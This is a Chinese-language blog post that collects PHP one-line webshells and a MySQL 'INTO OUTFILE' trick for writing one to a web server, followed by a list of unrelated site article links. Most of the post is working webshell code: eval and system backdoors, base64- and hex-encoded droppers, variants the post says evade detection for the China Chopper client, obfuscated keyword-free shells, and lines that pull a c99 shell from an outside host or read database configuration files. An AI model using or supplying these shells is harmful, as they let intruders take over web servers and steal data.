PHP与SQL语句写一句话木马总结


Posted in PHP onOctober 11, 2019

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:

<?php @eval($_GET["code"])?>

<?php @system($_POST["cmd"])?>

二、编码的替换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

//会生成<?php @eval($_POST['lostwolf']);?>

 

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>

//php在html内部的一种嵌入方式

 

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

 

 

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

三、其他类型:

<?php $_GET[a]($_GET[b]);?>

//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

<?php assert($_REQUEST["pass"]);?>   //菜刀连接 躲避检测 密码pass 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>

//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass

四、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 

<? echo file_get_contents("..//cfg_database.php");?> //显示某文件

<? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

六、补充知识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以

以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对三水点靠木的支持。

PHP 相关文章推荐
用PHP动态生成虚拟现实VRML网页
Oct 09 PHP
php输出xml格式字符串(用的这个)
Jul 12 PHP
简单的php缓存类分享     php缓存机制
Jan 22 PHP
PHP中preg_match函数正则匹配的字符串长度问题
May 27 PHP
php实现的任意进制互转类分享
Jul 07 PHP
汇总PHPmailer群发Gmail的常见问题
Feb 24 PHP
thinkPHP2.1自定义标签库的导入方法详解
Jul 20 PHP
php微信公众平台开发之微信群发信息
Sep 13 PHP
php中this关键字用法分析
Dec 07 PHP
Laravel框架中Blade模板的用法示例
Aug 30 PHP
PHP实现普通hash分布式算法简单示例
Aug 06 PHP
PHP从零开始打造自己的MVC框架之路由类实现方法分析
Jun 03 PHP
解决在Laravel 中处理OPTIONS请求的问题
Oct 11 #PHP
php生成HTML文件的类方法
Oct 11 #PHP
php报错502badgateway解决方法
Oct 11 #PHP
Laravel timestamps 设置为unix时间戳的方法
Oct 11 #PHP
laravel 时间格式转时间戳的例子
Oct 11 #PHP
PHP调用接口API封装的例子
Oct 11 #PHP
Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例
Oct 11 #PHP
You might like
利用递归把多维数组转为一维数组的函数
2006/10/09 PHP
php下连接mssql2005的代码
2011/01/17 PHP
PHP中文件缓存转内存缓存的方法
2011/12/06 PHP
详解PHP用substr函数截取字符串中的某部分
2016/12/03 PHP
php获取今日开始时间和结束时间的方法
2017/02/27 PHP
jQuery自动切换/点击切换选项卡效果的小例子
2013/08/12 Javascript
JavaScript中实现依赖注入的思路分享
2015/01/15 Javascript
javascript基础语法学习笔记
2016/01/04 Javascript
VueJs组件之父子通讯的方式
2018/05/06 Javascript
vue路由组件按需加载的几种方法小结
2018/07/12 Javascript
原生js检测页面加载完毕的实例
2018/09/11 Javascript
node.js使用fs读取文件出错的解决方案
2019/10/23 Javascript
实例讲解JavaScript 计时事件
2020/07/04 Javascript
vue 微信分享回调iOS和安卓回调出现错误的解决
2020/09/07 Javascript
[00:32]2018DOTA2亚洲邀请赛出场——LGD
2018/04/04 DOTA
Python简单定义与使用字典dict的方法示例
2017/07/25 Python
python 常见字符串与函数的用法详解
2018/11/23 Python
Python画图实现同一结点多个柱状图的示例
2019/07/07 Python
详解PANDAS 数据合并与重塑(join/merge篇)
2019/07/09 Python
使用python分析统计自己微信朋友的信息
2019/07/19 Python
python 利用pywifi模块实现连接网络破解wifi密码实时监控网络
2019/09/16 Python
Python求正态分布曲线下面积实例
2019/11/20 Python
使用 Python 写一个简易的抽奖程序
2019/12/08 Python
pytorch实现特殊的Module--Sqeuential三种写法
2020/01/15 Python
Python 实现网课实时监控自动签到、打卡功能
2020/03/12 Python
Tensorflow--取tensorf指定列的操作方式
2020/06/30 Python
利用python清除移动硬盘中的临时文件
2020/10/28 Python
莫斯科的韩国化妆品店:Sifo
2019/12/04 全球购物
美国婴儿和儿童服装购物网站:PatPat
2020/10/01 全球购物
新护士岗前培训制度
2014/02/02 职场文书
竞选学生会主席演讲稿
2014/04/24 职场文书
党委班子对照检查材料
2014/08/19 职场文书
创业计划书之奶茶店开店方案范本!
2019/08/06 职场文书
MySQL慢查询的坑
2021/04/28 MySQL
vue router 动态路由清除方式
2022/05/25 Vue.js
Win10服务主机占用内存怎么办?Win10服务主机进程占用大量内存解决方法
2022/09/23 数码科技